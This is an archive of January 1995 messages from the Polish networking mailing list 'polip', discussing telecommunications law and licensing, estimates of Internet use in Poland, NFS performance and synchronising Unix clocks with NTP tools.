rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From GMIELCAR@sweet.iie.wsi.zgora.pl Thu Jan 12 16:26:52 1995 Received: from vigo.iie.wsi.zgora.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12973; Thu, 12 Jan 95 16:22:26 +0100 Return-Path: Received: from sweet1.iie.wsi.zgora.pl by vigo.iie.wsi.zgora.pl (AIX 3.2/UCB 5.64/4.03) id AA27885; Thu, 12 Jan 1995 15:36:38 +0100 Received: from SWEET/SpoolDir by sweet.iie.wsi.zgora.pl (Mercury 1.20); 12 Jan 95 15:36:36 +0100 Received: from SpoolDir by SWEET (Mercury 1.20); 12 Jan 95 15:36:08 +0100 From: "Grzegorz Mielcarek" Organization: Instytut Informatyki i Elektroniki To: polip@zsku.p.lodz.pl Date: Thu, 12 Jan 1995 15:36:07 GMT+01 Subject: Re: Siec Optimusa? X-Confirm-Reading-To: "Grzegorz Mielcarek" X-Pmrqc: 1 Priority: normal X-Mailer: Pegasus Mail v3.22 Message-Id: <4D07922D3C@sweet.iie.wsi.zgora.pl> > Date sent: Wed, 11 Jan 95 16:20:24 +0100 > Send reply to: polip@zsku.p.lodz.pl > From: Jerzy Pastusiak > To: polip@vigo.iie.wsi.zgora.pl > Subject: Re: Siec Optimusa? > > > > A co do Optimusa, to mam wrazenie, ze firma ma za malo pieniedzy na > > inwestycje telekomunikacyjne. W tym kraju chyba nikt nie ma odpowiednich > > pieniedzy. > > > > Jarek. > > > Na swiecie duz'a, konkurecje dla telekomunikacji stanowi energetyka. > Podwieszaja swiatlowody pod liniami wysokiego napiecia i w swiat. > Chyba i nas to czeka. Pozdrawiam, J.P. > A czy ktos wie, ktoredy zostaly pociagniete swiatlowody wraz liniami wysokiego napiecia. Byloby ciekawe to wiedziec. -Grzesiek ---------------------------------------------------------------------------- Grzegorz Mielcarek | gmielcar@sweet.iie.wsi.zgora.pl Wyzsza Szkola Inzynierska | g.mielcarek@wsi.zgora.pl Instytut Informatyki i Elektroniki | ul. Podgorna 50 | tel: 068/254611, 254831 w. 231 65-265 Zielona Gora | fax: 068/253944 --------------------------------------------------------------------------- "If you wanna be so sexy, you must drink a lot of Pepsi" ---------------------------------------------------------------------------- From muhlig@usctoux1.cto.us.edu.pl Thu Jan 12 16:41:50 1995 Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA13850; Thu, 12 Jan 95 16:38:55 +0100 Return-Path: Subject: Re: Ustawa o lacznosci (nowa) Bylo Re: Siec Optimusa? To: polip@zsku.p.lodz.pl Date: Thu, 12 Jan 1995 16:42:31 -0100 (MET) From: Maciek Uhlig In-Reply-To: <3f3g98$8g2@Waldemar.mat.uni.torun.pl> from "Rafal Maszkowski" at Jan 12, 95 04:32:41 pm X-Mailer: ELM [version 2.4 PL23~] Content-Type: text Content-Length: 848 Message-Id: <9501121642.ab00841@usctoux1.cto.us.edu.pl> Rafal Maszkowski wrote: > > w celu dalszych prac. Wtedy trzeba zdobyc projekt i - jesli nie > > przyniesie satysfakcjonujacych rozwiazan w dziedzinie sieci - wywrzec > > presje na lokalnych poslow, argumentujac nasze stanowisko i cele. > > Czy bedziesz probowal? Moze wywrzyj nacisk zeby ktos odtajnil projekt... A bede, bede... Juz nawet zdobylem namiary na poslow zasiadajacych w sejmowej komisji lacznosci z okolic Katowic :-). Maciek Uhlig ---------------------------------------------------------------------- Maciej UHLIG, Computer Center, Silesian University Uniwersytecka 4 St., 40-007 KATOWICE, POLAND Internet: muhlig@usctoux1.cto.us.edu.pl Voice: +48 (32) 588211 (1768) Fax: +48 (32) 596847 ***** Imagine all the people sharing all the world (John Lennon) ***** From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 12 16:46:50 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA14178; Thu, 12 Jan 95 16:44:01 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA05244 for polip@zsku.p.lodz.pl; Thu, 12 Jan 1995 16:31:04 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 12 Jan 1995 15:15:18 GMT From: rzm@dain.erlm.siemens.de (Rafal Maszkowski) Message-Id: <3f3h26$8g2@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501120843.aa09522@usctoux1.cto.us.edu.pl>, <3f3ana$l8@sun1000.ci.pwr.wroc.pl> Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd) Jarek Lis (lis@asic.ict.pwr.wroc.pl) wrote: > Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote: > : Przesylam mail Jacka Gajewskiego zamieszczony na liscie "Internet dla szkol", > : a dotyczacy dial-up IP, podstawowej metody technicznej wykorzystywanej > : w programie IdS. Problem nie dotyczy tylko IdS. Jest zywotny dla nas > : wszystkich. Wysylajcie swoje opinie na ten temat, gdzie tylko mozecie. > : Zrobmy cos wreszcie razem, aby wyzwolic sie spod kaganca starej ustawy > : o lacznosci, interpretowanej w wygodny dla siebie sposob przez NASK > : i Ministerstwo Lacznosci. > Sugeruje nie obrazac NASK bez potrzeby. Bo jezeli ruch ma byc internetowy, > to kiedys do NASK'owych sieci musi trafic. Chyba ze ktos wystawi satelite > i dogada sie z jakims IP'providerem za granica. Nikt jeszcze (dzisiaj) nie obrazal NASKu. Maciej tylko slusznie zwrocil uwage, na to ze restrykcyjne ustawodawstwo (czy pamietacie jak trzeba bylo miec zezwolenie na odbiornik TV satelitarnej, a za uzywanie modemu nalezalo placic jakies koszmarne pieniadze?) dziala na korzysc tych, ktorzy maja juz zezwolenia. Podlaczanie sieci lokalnych to znacznie lepszy interes niz sprzedawanie kont. R. -- Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 13 10:27:44 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA04441; Fri, 13 Jan 95 10:23:51 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id KAA12094 for polip@zsku.p.lodz.pl; Fri, 13 Jan 1995 10:21:10 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 13 Jan 1995 09:07:02 GMT From: ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE (piotr pogorzelski) Message-Id: <3f5frm$dil@galaxy.uci.agh.edu.pl> Organization: Instytut Podstawowych Problemow Techiniki Warszawa Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501121556.aa28781@usctoux1.cto.us.edu.pl> Reply-To: ppogorze@ippt.gov.pl Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd) Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote: : Jarek Lis wrote: : > : > Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote: : > : Zrobmy cos wreszcie razem, aby wyzwolic sie spod kaganca starej ustawy : > : o lacznosci, interpretowanej w wygodny dla siebie sposob przez NASK : > : i Ministerstwo Lacznosci. : > : > Sugeruje nie obrazac NASK bez potrzeby. Bo jezeli ruch ma byc internetowy, : > to kiedys do NASK'owych sieci musi trafic. Chyba ze ktos wystawi satelite : > i dogada sie z jakims IP'providerem za granica. : Nikogo nie obrazam. W szczegolnosci NASK. Zelezy mi tylko, aby ten : internetowy ruch byl jak najwiekszy, a nie tlumiony przepisami starych : ustaw. : Maciek Uhlig Co wiecej Nask to tylko uslugodawca, place i wymagam. I odmowic uslugi bez powodu tez chyba nie moze, (jak i podlaczenia do sieci innego operatora). piotr pogorzelski From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 13 10:47:45 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA05225; Fri, 13 Jan 95 10:43:45 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id KAA12246 for polip@zsku.p.lodz.pl; Fri, 13 Jan 1995 10:27:30 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 13 Jan 1995 09:11:15 GMT From: ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE (piotr pogorzelski) Message-Id: <3f5g3j$dil@galaxy.uci.agh.edu.pl> Organization: Instytut Podstawowych Problemow Techiniki Warszawa Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501111358.AA16430@student.uci.agh.edu.pl>, <3f2vi3$j2v@sun1000.ci.pwr.wroc.pl> Reply-To: ppogorze@ippt.gov.pl Subject: Re: Swap on Linux (Announce: X PC Server) Czy moglby mi ktos powiedziec jaka jest predkosc transmisji plikow przy uzyciu NFS'a. Np Linux-Linux, albo Linux-sun Ale nie teoria tylko konkretne pomiary. dzieki piotr pogorzelski From GOZDZ@kchk.ch.pwr.wroc.pl Fri Jan 13 12:50:11 1995 Received: from sun1000.ci.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA07680; Fri, 13 Jan 95 12:49:43 +0100 Return-Path: Received: from kchk.ch.pwr.wroc.pl (kchk2.ch.pwr.wroc.pl [156.17.2.125]) by sun1000.ci.pwr.wroc.pl (8.6.9/8.6.9) with ESMTP id MAA23980 for ; Fri, 13 Jan 1995 12:52:13 +0100 Received: from KCHK_1/MAILQUEUE by kchk.ch.pwr.wroc.pl (Mercury 1.20); 13 Jan 95 12:51:20 GMT+1 Received: from MAILQUEUE by KCHK_1 (Mercury 1.20); 13 Jan 95 12:51:10 GMT+1 From: "Krzysztof Gozdz" Organization: Inst. of Phys. and Theor. Chem. TUW To: polip@zsku.p.lodz.pl Date: Fri, 13 Jan 1995 12:51:07 MET1MDT Subject: PolIP a Linux (Announce: X PC Server) Reply-To: Krzysztof Gozdz Priority: normal X-Mailer: Pegasus Mail v3.1 (R1) Message-Id: <20FD0E15908@kchk.ch.pwr.wroc.pl> Linux'owcy- Ja takze naleze do grona goracych zwolennikow Linux'a i ciesze sie, ze wszedzie sie o nim mowi. :-) Proponuje jednak przeniesc nasza dyskusje na temat wykorzystania PeCeta pracujacego pod Linux'em jako XTerminal'a na lamy grupy news'owej pl.comp.sys.pc-unix. Zwolnilibysmy miejsce na liscie poswieconej polskiemu Internet'owi, i troche rozruszali dyskusje w grupie na temat - badz co badz - m. in. Linux'a, tym bardziej ze, jak to zauwazyl Marek Michalkiewicz, nie ma tam duzego ruchu. :-( Ewentualnie mozna by potem poslac na Polipa koncowe wnioski. Co Wy na to? 3majcie sie! -Kszychu ///\ Name: Krzysztof Gozdz "Kszychu" C .. Study: Poland Wroclaw Technical University _\ Institute of Control and Systems Engineering \ \ E-mail: gozdz@kchk.ch.pwr.wroc.pl WWW: http://www.ists.pwr.wroc.pl/~kszychu From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 13 14:27:46 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA09596; Fri, 13 Jan 95 14:23:45 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA17785 for polip@zsku.p.lodz.pl; Fri, 13 Jan 1995 14:21:31 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 13 Jan 1995 12:39:30 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3f5sa2$pqh@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501120835.aa09235@usctoux1.cto.us.edu.pl> Subject: Re: Ustawa o lacznosci (nowa) Bylo Re: Siec Optimusa? Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote: : Projekt ustawy trafil niedawno z rzadu do Sejmu. Jest nie do wyciagniecia : zarowno z Min. Lacznosci, jak i z Sejmu. Trzeba poczekac na pierwsze : czytanie w Sejmie. Wtedy Sejm zapewne przekaze go do komisji sejmowej : w celu dalszych prac. Wtedy trzeba zdobyc projekt i - jesli nie : przyniesie satysfakcjonujacych rozwiazan w dziedzinie sieci - wywrzec : presje na lokalnych poslow, argumentujac nasze stanowisko i cele. Hm... ilu poslow w ogole wie, co to jest siec komputerowa? A ilu z nich chcialo by to wiedziec? A ilu przejmuje sie choc troche tym, co im napiszesz Ty czy inny wyborca... eh... tu nie USA... -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From muhlig@usctoux1.cto.us.edu.pl Fri Jan 13 14:47:47 1995 Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA10429; Fri, 13 Jan 95 14:47:12 +0100 Return-Path: Subject: Re: Ustawa o lacznosci (nowa) Bylo Re: Siec Optimusa? To: polip@zsku.p.lodz.pl Date: Fri, 13 Jan 1995 14:50:59 -0100 (MET) From: Maciek Uhlig In-Reply-To: <3f5sa2$pqh@ghost.mimuw.edu.pl> from "Andrzej K. Brandt" at Jan 13, 95 02:33:39 pm X-Mailer: ELM [version 2.4 PL23~] Content-Type: text Content-Length: 909 Message-Id: <9501131451.aa20873@usctoux1.cto.us.edu.pl> Andrzej K. Brandt wrote: > Hm... ilu poslow w ogole wie, co to jest siec komputerowa? > A ilu z nich chcialo by to wiedziec? > A ilu przejmuje sie choc troche tym, co im napiszesz Ty czy inny wyborca... No, zaraz... mamy w Polsce ponad 8000 maszyn w sieci. A uzytkownikow Internetu... no, moze ze 100.000. Niezle miasto ze swoimi problemami. Moze kazdy z nas poszuka w poblizu swojego posla i porozmawia z nim choc kwadransik :-)? A przejmowac sie moga zaczac rychlo, bo wybory sie zblizaja. Maciek Uhlig ---------------------------------------------------------------------- Maciej UHLIG, Computer Center, Silesian University Uniwersytecka 4 St., 40-007 KATOWICE, POLAND Internet: muhlig@usctoux1.cto.us.edu.pl Voice: +48 (32) 588211 (1768) Fax: +48 (32) 596847 ***** Imagine all the people sharing all the world (John Lennon) ***** From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 13 17:05:13 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12763; Fri, 13 Jan 95 17:05:04 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA20798 for polip@zsku.p.lodz.pl; Fri, 13 Jan 1995 16:48:59 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 13 Jan 1995 15:43:45 GMT From: mark@i17unixb.ists.pwr.wroc.pl (Marek Kuchciak) Message-Id: <3f673h$4p4@sun1000.ci.pwr.wroc.pl> Organization: Technical Univeristy of Wroclaw Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501131451.aa20873@usctoux1.cto.us.edu.pl> Subject: Re: Ustawa o lacznosci (nowa) Bylo Re: Siec Optimusa? Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote: : No, zaraz... mamy w Polsce ponad 8000 maszyn w sieci. A uzytkownikow : Internetu... no, moze ze 100.000. Niezle miasto ze swoimi problemami. Chyba tylko pod warunkiem, ze przez uzytkownika Internetu rozumiesz osobe posiadajaca konto na maszynie wlaczonej do sieci. Wedlug mnie ta pierwsza grupa jest tylko bardzo malym podzbiorem tej drugiej. Policz sobie chociazby ilu ludzi w ciagu miesiaca pisze cos na ktoras z polskich grup newsow. Nawet jesli przyjac, ze liczba czytajacych to jest kilkukrotnie wieksza, to i tak jest to stosunkowo niewielka grupa w skali calego kraju. No... moze troche przegialem, bo przeciez duzo ludzi uzywa tylko e-mail, ale sadze, ze nawet gdybys zsumowal wszystkich ludzi korzystajacych z poczty, ftp, irc, www itd., to i tak daleko Ci bedzie do 100.000. Marek. .......... : ^^^^ : Marek Kuchciak (e-mail: mark@ub.ists.pwr.wroc.pl) : -<><>- : http:// (under construction) : == : Software Engineering at :........: Technical University of Wroclaw, Poland From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 13 21:47:48 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA15902; Fri, 13 Jan 95 21:43:39 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id VAA26015 for polip@zsku.p.lodz.pl; Fri, 13 Jan 1995 21:38:59 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 13 Jan 1995 21:36:45 +0100 From: ser@sun1000.ci.pwr.wroc.pl (S. Pawlowicz) Message-Id: <3f6o8t$jjd@sun1000.ci.pwr.wroc.pl> Organization: Technical Univeristy of Wroclaw Sender: news.polip@cyber.ict.pwr.wroc.pl Subject: Regulowanie czasu Pytanie: Czym reguluja Panstwo czas na swoich maszynach unixowych? Uszczegolowienie pytania: Jakich programow uzywaja Panstwo do korelacji czasow swych komputerow? Wedlug jakich komputerow? Czy gra role opoznienie sieci wobec USA (sa tam dobre serwery czasu)? Czy w Polsce jest jakis pewny serwer czasu? Inne sugestie. Prosze o odpowiedzi na podany nizej adres, przesle na liste summary. Dziekuje i pozdrawiam - Sergiusz Pawlowicz, Politechnika Wroclawska ser@pwr.wroc.pl From news.polip@cyber.ict.pwr.wroc.pl Sat Jan 14 11:25:51 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA04068; Sat, 14 Jan 95 11:22:32 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id LAA07144 for polip@zsku.p.lodz.pl; Sat, 14 Jan 1995 11:20:44 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 14 Jan 1995 11:09:27 +0100 From: szymon@uci.agh.edu.pl (Szymon Sokol) Message-Id: <3f87sn$6bk@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3f6o8t$jjd@sun1000.ci.pwr.wroc.pl> Subject: Re: Regulowanie czasu S. Pawlowicz (ser@sun1000.ci.pwr.wroc.pl) wrote: : Pytanie: Czym reguluja Panstwo czas na swoich maszynach unixowych? Wg hejnalu z Wiezy Mariackiej :-) Czy naprawde jest sens ustawiac zegar systemowy z dokladnoscia do sekund, jesli "drift" na moim Sunie wynosi nawet do 20s dziennie? -- Szymon Sokol -- Network Manager U U M M M M University of Mining and Metallurgy, Computer Center U U MM MM MM MM ave. Mickiewicza 30, 30-059 Krakow, POLAND U U M M M M M M M M TEL. +48 12 338100 EXT. 2885 FAX +48 12 338907 UUUUU M M M M M M finger szymon@galaxy.uci.agh.edu.pl for PGP key WWW page: http://www.uci.agh.edu.pl/~szymon/ From krzysio@hebe.umcs.lublin.pl Sat Jan 14 11:55:51 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA05128; Sat, 14 Jan 95 11:55:11 +0100 Return-Path: Received: by hebe.umcs.lublin.pl (931110.SGI/930416.SGI) for polip@zsku.p.lodz.pl id AA26889; Sat, 14 Jan 95 11:56:53 +0100 From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski) Message-Id: <9501141056.AA26889@hebe.umcs.lublin.pl> Subject: Re: Regulowanie czasu To: polip@zsku.p.lodz.pl Date: Sat, 14 Jan 1995 11:56:53 +0100 (MET) In-Reply-To: <3f87sn$6bk@galaxy.uci.agh.edu.pl> from "Szymon Sokol" at Jan 14, 95 11:29:49 am X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1796 Szymon Sokol wrote: > > S. Pawlowicz (ser@sun1000.ci.pwr.wroc.pl) wrote: > : Pytanie: Czym reguluja Panstwo czas na swoich maszynach unixowych? > > Wg hejnalu z Wiezy Mariackiej :-) > Czy naprawde jest sens ustawiac zegar systemowy z dokladnoscia do sekund, > jesli "drift" na moim Sunie wynosi nawet do 20s dziennie? Hehehe... a ja odpisalem, ze wg. mojego zegarka :)))) (W Lublinie nie mamy Wiezy Mariackiej). Wydaje mi sie, ze taka synchronizacja czasu jeszcze dlugo nie bedzie u nas mozliwa z dwoch przyczyn: - braku precyzyjnych zrodel czasu w sieci w *.pl (przynajmniej nic mi o takowych nie wiadomo), - szybkosci i przepustowosci sieci (nie ma jeszcze powszechnie laczy 115Mb). :) Pozdrawiam, -Krzysio -- +--------------------------------------------------------------------+ | E-mail: IRC: | | krzysio@hebe.umcs.lublin.pl Krzysio | | krzysio@eleet.mimuw.edu.pl | | krzysio@posejdon.kul.lublin.pl | | krzysio@achir.kul.lublin.pl | | krzysio@adam.kul.lublin.pl | | krzysio@laplace.informatics.sunysb.edu Radio: | | root@hebe.umcs.lublin.pl SQ5ASM | | root@cool.umcs.lublin.pl | | root@posejdon.kul.lublin.pl | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +--------------------------------------------------------------------+ From chris@highresnmr.biophys.upenn.edu Sat Jan 14 17:45:53 1995 Received: from NOC4.DCCS.UPENN.EDU by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA09572; Sat, 14 Jan 95 17:45:15 +0100 Received: from HIGHRESNMR.BIOPHYS.UPENN.EDU by noc4.dccs.upenn.edu id AA27033; Sat, 14 Jan 95 11:47:22 -0500 Return-Path: Received: by highresnmr.biophys.upenn.edu id AA15953; Sat, 14 Jan 95 11:40:11 EST Date: Sat, 14 Jan 95 11:40:11 EST From: chris@highresnmr.biophys.upenn.edu (Krzysztof Wroblewski) Posted-Date: Sat, 14 Jan 95 11:40:11 EST Message-Id: <9501141640.AA15953@highresnmr.biophys.upenn.edu> To: polip@zsku.p.lodz.pl Subject: Re: Regulowanie czasu >jezeli "drift" na moim Sunie wunosi nawet do 20s dziennie? To czemu go nie skorygujesz? Jest mozliwosc takiej automatycznej korekcjii. W tej chwili nie pamietam dokladnie jak sie to robi (robilem to cztery lata temu) i nadal dziala) ale moge poszukac. Krzysztof Wroblewski From news.polip@cyber.ict.pwr.wroc.pl Sat Jan 14 22:45:55 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12914; Sat, 14 Jan 95 22:42:24 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id WAA16394 for polip@zsku.p.lodz.pl; Sat, 14 Jan 1995 22:30:46 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 14 Jan 1995 21:20:42 GMT From: rzm@dain.erlm.siemens.de (Rafal Maszkowski) Message-Id: <3f9f7a$ng4@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl References: <3f6o8t$jjd@sun1000.ci.pwr.wroc.pl>, <3f87sn$6bk@galaxy.uci.agh.edu.pl> Subject: Re: Regulowanie czasu Szymon Sokol (szymon@uci.agh.edu.pl) wrote: > S. Pawlowicz (ser@sun1000.ci.pwr.wroc.pl) wrote: > : Pytanie: Czym reguluja Panstwo czas na swoich maszynach unixowych? > Wg hejnalu z Wiezy Mariackiej :-) > Czy naprawde jest sens ustawiac zegar systemowy z dokladnoscia do sekund, > jesli "drift" na moim Sunie wynosi nawet do 20s dziennie? To tym bardziej potrzebujesz go ustawiac. Pusc xntpd lub ntpdate (to drugie z crona raz na godzine). R. -- Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From RAJ@inf.wsp.krakow.pl Sun Jan 15 07:41:42 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA02016; Sun, 15 Jan 95 07:40:24 +0100 Return-Path: Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id HAA14695 for ; Sun, 15 Jan 1995 07:45:35 +0100 Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12); Sun, 15 Jan 95 7:39:48 GMT+0100 Received: from ~MAIL~ by INF (Mercury 1.12); Sun, 15 Jan 95 7:39:48 GMT+0100 From: "Jaroslaw Rafa" Organization: Zaklad Informatyki WSP, Krakow To: polip@zsku.p.lodz.pl Date: Sun, 15 Jan 1995 07:39:40 GMT+0100 Subject: Ustawianie czasu Priority: normal X-Mailer: Pegasus Mail v3.21 Message-Id: <339441C6@inf.wsp.krakow.pl> Jestem bardzo poczatkujacy jezeli chodzi o administrowanie Unixem, dlatego wybaczcie moze glupie pytanie. Ale jaki jest sens takiego super dokladnego synchronizowania czasu, o jakim tutaj koledzy pisali? Ja wiem, ze cos takiego mozna zrobic, i nawet z grubsza wiem jak, tylko nie wiem, po co. Prosze o objasnienie. Pozdrowienia, Jaroslaw Rafa sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl From news.polip@cyber.ict.pwr.wroc.pl Sun Jan 15 15:46:43 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA06415; Sun, 15 Jan 95 15:42:08 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA29847 for polip@zsku.p.lodz.pl; Sun, 15 Jan 1995 15:41:42 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 15 Jan 1995 09:32:02 -0500 From: zbig@junior.wariat.org (Zbigniew J. Tyrlik) Message-Id: <3fbbl2$alo@junior.wariat.org> Organization: Akademia Pana Kleksa, Public Access Uni* Site Sender: news.polip@cyber.ict.pwr.wroc.pl References: <339441C6@inf.wsp.krakow.pl> Subject: Re: Ustawianie czasu In <339441C6@inf.wsp.krakow.pl> RAJ@inf.wsp.krakow.pl (Jaroslaw Rafa) writes: >Jestem bardzo poczatkujacy jezeli chodzi o administrowanie Unixem, dlatego >wybaczcie moze glupie pytanie. Ale jaki jest sens takiego super dokladnego >synchronizowania czasu, o jakim tutaj koledzy pisali? Ja wiem, ze cos takiego >mozna zrobic, i nawet z grubsza wiem jak, tylko nie wiem, po co. Prosze o >objasnienie. 1) bo mozna :-) 2) zeby uniknac potem szoku ze poczta doszla przed wyslaniem.. 3) bardzo pomocne jak szukasz sladow klopotow.. 4) niektore systemy hasel i kontroli dostepu sa oparte na sychronizacji zegarow; system otwiera dostep na krotki czas, i jezeli pakiety przychodza ze stemplem czasowym z przyszlosi, to kaszanka.. >Pozdrowienia, > Jaroslaw Rafa > sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl _zjt ( wannabe in training ) -- Zbigniew J. Tyrlik DoD# 0759 FJ1200 `89-Silver... zbig@wariat.org APK on the move New Phone - 216-241-7541 active Jan 09.95 Feeds, shell, FTP, telnet, SL/IP,PPP Uniboard distribution point From krzysio@hebe.umcs.lublin.pl Sun Jan 15 19:41:45 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA09058; Sun, 15 Jan 95 19:37:08 +0100 Return-Path: Received: by hebe.umcs.lublin.pl (931110.SGI/930416.SGI) for polip@zsku.p.lodz.pl id AA00044; Sun, 15 Jan 95 19:39:17 +0100 From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski) Message-Id: <9501151839.AA00044@hebe.umcs.lublin.pl> Subject: Re: Ustawianie czasu To: polip@zsku.p.lodz.pl Date: Sun, 15 Jan 1995 19:39:17 +0100 (MET) In-Reply-To: <3fbbl2$alo@junior.wariat.org> from "Zbigniew J. Tyrlik" at Jan 15, 95 03:50:02 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 2108 Zbigniew J. Tyrlik wrote: > > In <339441C6@inf.wsp.krakow.pl> RAJ@inf.wsp.krakow.pl (Jaroslaw Rafa) writes: > > >Jestem bardzo poczatkujacy jezeli chodzi o administrowanie Unixem, dlatego > >wybaczcie moze glupie pytanie. Ale jaki jest sens takiego super dokladnego > >synchronizowania czasu, o jakim tutaj koledzy pisali? Ja wiem, ze cos takiego > >mozna zrobic, i nawet z grubsza wiem jak, tylko nie wiem, po co. Prosze o > >objasnienie. > > 1) bo mozna :-) > 2) zeby uniknac potem szoku ze poczta doszla przed > wyslaniem.. > 3) bardzo pomocne jak szukasz sladow klopotow.. > 4) niektore systemy hasel i kontroli dostepu sa oparte na > sychronizacji zegarow; system otwiera dostep na krotki > czas, i jezeli pakiety przychodza ze stemplem czasowym z > przyszlosi, to kaszanka.. > Hmmm... bardzo cool, 